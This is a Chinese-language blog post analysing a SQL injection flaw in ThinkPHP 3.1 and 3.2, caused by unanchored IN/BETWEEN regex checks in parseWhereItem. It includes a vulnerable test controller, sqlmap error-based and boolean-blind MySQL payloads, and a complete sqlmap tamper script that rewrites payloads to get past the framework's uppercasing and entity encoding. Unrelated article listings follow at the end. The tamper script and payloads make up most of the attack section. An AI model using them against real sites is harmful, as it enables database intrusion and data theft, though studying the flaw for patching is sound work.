ThinkPHP 3.1、3.2一个通用的漏洞分析

Author:m3d1t10n

前两天看到phithon大大在乌云发的关于ThinkPHP的漏洞,想看看是什么原因造成的。可惜还没有公开,于是就自己回来分析了一下。

0x00官方补丁(DB.class.php parseWhereItem($key,$val))
注意红色框框起来的部分

0x01分析

PHP

preg_match(‘/IN/i‘,$val[0]) //该正则没有起始符和终止符,xxxxinxxxxx等任意包含in的字符串都可以匹配成功,因而构成了注入

preg_match(‘/BETWEEN/i‘,$val[0]) //同上

1

2

3

preg_match(‘/IN/i‘,$val[0]) //该正则没有起始符和终止符,xxxxinxxxxx等任意包含in的字符串都可以匹配成功,因而构成了注入

preg_match(‘/BETWEEN/i‘,$val[0]) //同上

0x02验证

PHP

class IndexAction extends Action {
public function index(){
$user = I("param.user");
$pass = I("param.pass");
$where["user"] = $user;
$where["pass"] = $pass;

var_dump($where);
$model = M("user");
$data = $model->where($where)->select();
echo $model->getLastSql(); // 打印sql语句
echo "<br/>";
var_dump($data); // 打印数据
die(mysql_error()); // 打印错误

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

class IndexAction extends Action {

public function index(){

$user  =  I("param.user");

$pass  =  I("param.pass");

$where["user"] = $user;

$where["pass"] = $pass;

var_dump($where);

$model = M("user");

$data =  $model->where($where)->select();

echo $model->getLastSql(); //   打印sql语句

echo "<br/>";

var_dump($data);     // 打印数据

die(mysql_error());  //  打印错误

1.1正常访问

1.2poc

0x03编写支持此注入的tamper
(支持mysql)
3.1由于php中有这样一段话,会将我们插入的语句全变成大写,所以我们要将payloa做一个转换

PHP

$whereStr .= $key.‘ ‘.strtoupper($val[0]).‘ (‘.$zone.‘)‘;

1

$whereStr .= $key.‘ ‘.strtoupper($val[0]).‘ (‘.$zone.‘)‘;

3.2sqlmap mysql error based 注入语句

Transact-SQL

AND (SELECT 8080 FROM(SELECT COUNT(*),CONCAT(0x3a7a61623a,(SELECT (CASE WHEN (QUARTER(NULL) IS NULL) THEN 1 ELSE 0 END)),0x3a6c697a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
/**其中的0x3a7a61623a等十六进制字符会因为x变成大写而报错,所以我们需要将他们匹配出来变成小写的 **/

1

2

AND (SELECT 8080 FROM(SELECT COUNT(*),CONCAT(0x3a7a61623a,(SELECT (CASE WHEN (QUARTER(NULL) IS NULL) THEN 1 ELSE 0 END)),0x3a6c697a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

/**其中的0x3a7a61623a等十六进制字符会因为x变成大写而报错,所以我们需要将他们匹配出来变成小写的  **/

3.3sqlmap myql boolean blind 注入语句

Transact-SQL

AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51

payload = "ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))"
num = 51
/**
因为>会被thinkphp进行实体编码,所以我们需要将整条语句换成
floor(payload / num.5)
例如:
52>51==1 为真
floor(52/51.5)==1 为真
51>51==0 为假
floor(51/51.5)==0 为假 **/

1

2

3

4

5

6

7

8

9

10

11

12

13

AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51

payload = "ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))"

num = 51

/**

因为>会被thinkphp进行实体编码,所以我们需要将整条语句换成

floor(payload / num.5)

例如:

52>51==1 为真

floor(52/51.5)==1  为真

51>51==0 为假

floor(51/51.5)==0 为假 **/

3.4最后的tamper代码

Python

#__author__ = ‘m3d1t10n‘
import re
import binascii
#f = open("out.dat","w")
def tamper(payload, **kwargs):
d = {"ror":"rand","and":"or"}
#f.write(payload+"\n")
t = re.findall(‘(0x\w+)‘,payload.lower())
for expression in t:
d[expression] = "lower(‘%s‘)" % binascii.unhexlify(expression[2:])
for key in d:
payload = payload.lower().replace(key,d[key])
prefix = "in%20(%27xxx%27))%20"
subfix = "%20--%20"
payload
payload = prefix + payload + subfix
t = re.findall(‘or (.+)>(\d+)‘,payload.lower())
#print payload
if t:
payload = payload.replace(t[0][0]+‘>‘+t[0][1],"ceil(floor(%s/%s.5))"%(t[0][0],t[0][1]))
#print payload
#f.write(payload+"\n")
return payload

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

#__author__ = ‘m3d1t10n‘

import re

import binascii

#f = open("out.dat","w")

def tamper(payload, **kwargs):

d = {"ror":"rand","and":"or"}

#f.write(payload+"\n")

t = re.findall(‘(0x\w+)‘,payload.lower())

for expression in t:

d[expression] = "lower(‘%s‘)" % binascii.unhexlify(expression[2:])

for key in d:

payload = payload.lower().replace(key,d[key])

prefix = "in%20(%27xxx%27))%20"

subfix = "%20--%20"

payload

payload = prefix + payload + subfix

t = re.findall(‘or (.+)>(\d+)‘,payload.lower())

#print payload

if t:

payload = payload.replace(t[0][0]+‘>‘+t[0][1],"ceil(floor(%s/%s.5))"%(t[0][0],t[0][1]))

#print payload

#f.write(payload+"\n")

return payload

0x04sqlmap 本地测试
4.1boolean based

thinkphp.py

时间: 2024-11-29 00:02:00

ThinkPHP 3.1、3.2一个通用的漏洞分析的相关文章

Linux C编程学习4---多文件项目管理、Makefile、一个通用的Makefile

GNU Make简介 大型项目的开发过程中,往往会划分出若干个功能模块,这样可以保证软件的易维护性. 作为项目的组成部分,各个模块不可避免的存在各种联系,如果其中某个模块发生改动,那么其他的模块需要相应的更新.如果通过手动去完成这个工作的话,对于小型的项目可能还行,但是对于比较大型的项目就几乎是不可能的. 因此Linux 系统提供了一个自动维护和生成目标程序的工具 make,它可以根据各个模块的更改情况去重新编译连接目标代码 Make 工具的作用就是实现编译连接过程的自动化.它定义了一种语言,用

一个通用的Makefile (转)

据http://bbs.chinaunix.net/thread-2300778-1-1.html的讨论,发现还是有很多人在问通用Makefile的问题,这里做一个总结.也作为以后的参考. 笔者在写程序的时候会遇到这样的烦恼:一个项目中可能会有很多个应用程序,而新建一个应用程序则所有的Makefile都要重写一遍,虽然可以部分的粘帖复制,但还是感觉应该找到更好的解决途径:另外当一个应用程序中包含多个文件夹时通常要在每个目录下创建一个Makefile,当有数十个文件夹时,要创建如此多的Makefi

一个通用的c/c++Makefile模版

一个codeproject上发现的通用c/c++的Makefile模版,比较简单好用,共享之 ############################################################################# # # Generic Makefile for C/C++ Program # # License: GPL (General Public License) # Author: whyglinux <whyglinux AT gmail DOT

ThinkPHP 学习(2)---一个简单的起步的例子

文件夹目录是核心目录ThinkPHP,入口文件是index.php,ThinkPHP里面的文件含义下次详解,接下来是启动一个自己的程序,现在可以修改一下入口文件,一般情况下会将自己的文件放在一个文件夹,我现在是先建立自己的文件夹,一个前台Home文件夹,一个后台文件夹Admin,怎么建立一个结构拥有ThinkPHP功能的文件夹呢?打开index.php,加入如下代码, <?php    //1.确定应用名称Home    define('APP_NAME','Admin');    //2.确定

移动应用开发(IOS/android等)中一个通用的图片缓存方案讲解(附流程图)

在移动应用开发中,我们经常会遇到从网络请求图片到设备上展示的场景. 如果每次都重复发起请求,浪费流量.浪费电量,用户体验也不佳: 将图片持久化到磁盘也不失为一种策略:但每次从文件读取图片也存在一定的io开销,就算采用此策略,我们也需要控制磁盘缓存的容量,以免占用过多系统资源. 其实没有一个方案可以说是完美的方案,只有最适合自己业务需求的方案,才可以说是一个好方案. 我们下面所讲解的方案具备很强的通用性,设计思路简单而清晰: 1.假设每个网络图片的url具有唯一性,如果网络上的图片变化了,会引起输

编写一个通用的Makefile文件

1.1在这之前,我们需要了解程序的编译过程 a.预处理:检查语法错误,展开宏,包含头文件等 b.编译:*.c-->*.S c.汇编:*.S-->*.o d.链接:.o +库文件=*.exe 1.2体验在VC下程序的编译 a.先编译,在链接 b.修改了哪个文件,就单独编译此文件,在链接 c.修改了哪个头文件,就单独编译使用该头文件的源文件,在链接 1.3在linux下实现上述要求 2.编写一个测试的Makefile 2.1直接编译链接 1 gcc -o test a.c b.c 缺点:改变其中一

一个通用的JavaScript分页

1.JavaScript代码 Java代码   Pagination=function(id) { var totalNum=0; var maxNum=10; var pageUrl=""; var breakpage = 5; var currentposition = 0; var breakspace = 2; var maxspace = 4; var currentpage=1; var perpage=10; var id =id; this.initPage = fun

为了去重复,写了一个通用的比较容器类,可以用在需要比较的地方,且支持Lamda表达式

为了去重复,写了一个通用的比较容器类,可以用在需要比较的地方,且支持Lamda表达式,代码如下: public class DataComparer<T>:IEqualityComparer<T> where T:class { private Func<T, T, bool> _compareFunc; public DataComparer(Func<T,T,bool> compareFunc) { this._compareFunc = compare

分享一个通用的分页SQL

又很久没写博客,今天记录一个SQLserver通用分页存储过程(适用于SqlServer2000及以上版本) 1.支持连表 2.支持条件查询 USE [MYDB] GO /****** Object:  StoredProcedure [dbo].[SP_CommonPage] SET QUOTED_IDENTIFIER ON GO ------------------------------------ --用途:分页存储过程(对有主键的表效率极高) --说明: ---------------